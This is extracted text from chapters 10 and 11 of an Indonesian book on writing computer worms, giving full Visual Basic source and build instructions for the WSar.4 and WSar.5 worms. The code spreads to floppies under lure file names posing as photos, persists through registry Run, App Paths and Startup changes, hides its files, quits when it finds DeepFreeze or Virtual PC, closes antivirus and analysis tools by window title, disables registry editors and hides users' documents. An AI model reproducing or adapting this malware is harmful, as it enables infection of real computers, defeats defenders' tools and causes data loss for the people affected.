Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End IfEnd Function
141Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
142Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End IfEnd Function
Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER
143Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End SelectEnd Function
Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Can’t Open Key" Case 4, 1012 GetErrorMsg = "Can’t Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Can’t Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End SelectEnd Function
Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else
144Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End IfEnd Sub
Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End IfEnd Function
Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Thenrtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then
145Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
MsgBox(ErrorMsg(rtn)) End If End If End IfEnd Function
Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = valueEnd Function
Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value))End Function
Ketik kode program berikut ini pada object frmWSar4:
'WSar.4 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As LongPrivate Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long
Private Sub Form_Load() If App.PrevInstance = True Then End Call InfectSystem() Call InfectFloppy() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
146Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder) FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly)End Sub
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe" NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*.jpg .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End IfEnd Sub
Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String) If RootName = "" Then Exit Function End If Call SetVolumeLabel(RootName, NewLabel)End Function
147Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Private Sub PayLoad() On Error Resume Next MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id") SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist")End Sub
Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo SelesaiIseng: mciSendString("close all", 0, 0, 0) mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0) For i = 1 To 3 mciSendString("set cd door open", 0, 0, 0) DoorOpen = True If DoorOpen = True Then mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False End If Next iSelesai:End Sub
Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
148Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 10. W
orm W
Sar.4
Berikut penjelasan tentang kode program :
Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32.
Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket.
Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp’ di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE".
Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only.
Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil.
Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng’ maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif .
Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak.
149Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
10
Wor
m W
Sar
.4
Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda.
Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh"
Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi "INDONESIAN WORM WRITER ASSOCIATION".
Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kun-jungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id".
Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk menga-tasinya.
Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali.
Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya.
Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.
151Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
BAB 11WORM WSar.5
Worm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Kare-na trik sederhana ini tergolong trik baru dan tidak banyak
digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun.
Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari pro-gram Virtual PC, dan hal ini juga akan mempersulit proses analisa.
Melalui WSar.5 penulis akan mendemonstrasikan metode yang digu-nakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lain-nya.
Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikan-nya pada program lain, seperti program informasi startup dan aplikasi antivirus.
152Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.
11.1 ALGORITMAWSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama.
3. Worm menyembunyikan aplikasi file worm dari task list4. Saat menginfeksi suatu system komputer, worm akan membuat
salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir mema-nipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer
5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill"
6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara oto-matis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar
153Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terli-hat oleh user.
11.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.5’
Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Properti object Form1
Jenis Nilai KeteranganName frmWSar5 Mengatur nama form menjadi frmWSar5
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form
ControlBox False Tidak menggunakan control box
Properti object Timer1
Jenis Nilai KeteranganName tmrDisableWindow Mengatur nama Timer menjadi
tmrDisableWindow
Enable True Pastikan Timer akan aktif saat form di-load
Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
154Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
Properti object Timer3
Jenis Nilai KeteranganName tmrSpreading Mengganti nama Timer dari Timer3 menjadi
tmrSpreading
Enable True Pastikan Timer akan aktif saat form di-load
Interval 5000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 5 detik
Properti object Timer4
Jenis Nilai KeteranganName tmrAntiDestroyer Mengatur nama Timer menjadi tmrAntiDe-
stroyer
Enable True Pastikan Timer akan aktif saat form di-load
Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Properti object Text1
Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath
155Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
Properti object Text2
Jenis Nilai KeteranganName txtPath2 Mengatur nama TextBox menjadi txtPath2
Properti Module1
Jenis Nilai Keterangan
Name mdlMinimize Mengatur nama module menjadi mdlMinimize
Properti Module2
Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-
istryAPI
Properti Module3
Jenis Nilai KeteranganName mdlWinForce Mengatur nama module menjadi mdlWin-
Force
Ketik kode program berikut ini pada module mdlMinimize:
Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPrivate Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Const WM_COMMAND As Long = &H111Private Const MIN_ALL As Long = 419Private Const MIN_ALL_UNDO As Long = 416
Public Sub MinimizeAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&)End Sub
156Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
Public Sub RestoreAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _ MIN_ALL_UNDO, 0&)End Sub
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As LongPrivate Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As LongDim sPattern As String, hFind As LongConst WM_CLOSE = &H10
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1End Function
Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFindEnd Function
157Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
Function WinQuit(ByVal WindowsTitle As String) On Error Resume Next hFind = 0 Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull)End Function
Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0 On Error Resume Next Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value)End Function
Ketik kode program berikut ini pada object frmWSar5:
'WSar.5 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255
Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As LongConst DRIVE_CDROM = 5Const DRIVE_FIXED = 3Const DRIVE_RAMDISK = 6Const DRIVE_REMOTE = 4Const DRIVE_REMOVABLE = 2
Private Sub Form_Load() If App.PrevInstance = True Then End If Len(Dir$("c:\dfinstall.log")) <> 0 Then End If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) <> 0 _ Then End App.TaskVisible = False Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then EndEnd Sub
158Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. W
orm W
Sar.5
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder) CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly) CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1)End Sub
Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _ "re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal") If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End IfEnd Sub
Private Sub tmrAntiDestroyer_Timer() On Error Resume Next WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process") WinQuit("spy")
159Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
11
Wor
m W
Sar
.5
WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill")End Sub
Private Sub tmrDisableWindow_Timer() On Error Resume Next WinAble("REG", False)End Sub
